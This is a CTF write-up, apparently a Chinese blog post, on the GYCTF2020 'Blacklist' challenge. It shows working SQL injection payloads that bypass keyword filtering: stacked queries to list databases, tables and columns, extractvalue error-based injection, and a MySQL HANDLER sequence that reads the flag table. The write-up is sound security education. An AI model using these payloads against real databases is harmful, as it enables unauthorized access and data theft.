[GYCTF2020]Blacklist 1

本文详细介绍了在GYCTF2020的Blacklist1挑战中,如何应对关键字过滤,利用单引号注入和堆叠注入来查询数据库信息。通过extractvalue报错注入获取了库名supersqli,然后通过handler语句逐行读取特定表的数据,展示了在限制条件下进行数据库交互的技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GYCTF2020]Blacklist 1

在做本题的时候,我们发现过滤掉了很多的关键字
在这里插入图片描述
很多注入方法已经没有办法使用(联合查询 布尔盲注 updataxml的报错注入)
并且发现本关的注入方法为 单引号
只能使用 堆叠注入 来进行查询查寻 库名 表名

1';show databases-- q

在这里插入图片描述
库名:supersqli

在这里 因为没有禁用 extractvalue 所以在这里我们可以构造出 extractvalue 报错注入 来查询库名

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))-- q

在这里插入图片描述

1';show tables-- q

在这里插入图片描述

表名:words 和 FlagHere
分别查看这两个表

 1'; show columns from `words`-- q

在这里插入图片描述

 1'; show columns from `FlagHere`-- q

在这里插入图片描述
words表里有两个属性,即两列:id 和data,而FlagHere表里只有一个属性列,说明输入框可能查询的就是words表
很像我们做过的随便注

但,在这一关过滤掉了flag和rename,并且不区分大小写 换句话说我们没有办法像随便住那样将 flaghere这个表改名为words
所以我们需要尝试别的思路 Handler

MySQL 除了可以使用 select 查询表中的数据,也可使用 handler 语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler 语句并不具备 select 语句的所有功能。它是 MySQL 专用的语句,并没有包含到SQL标准中。

HANDLER … OPEN语句打开一个表
HANDLER … READ语句访问
HANDLER … CLOSE关闭一个表

构造payload:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值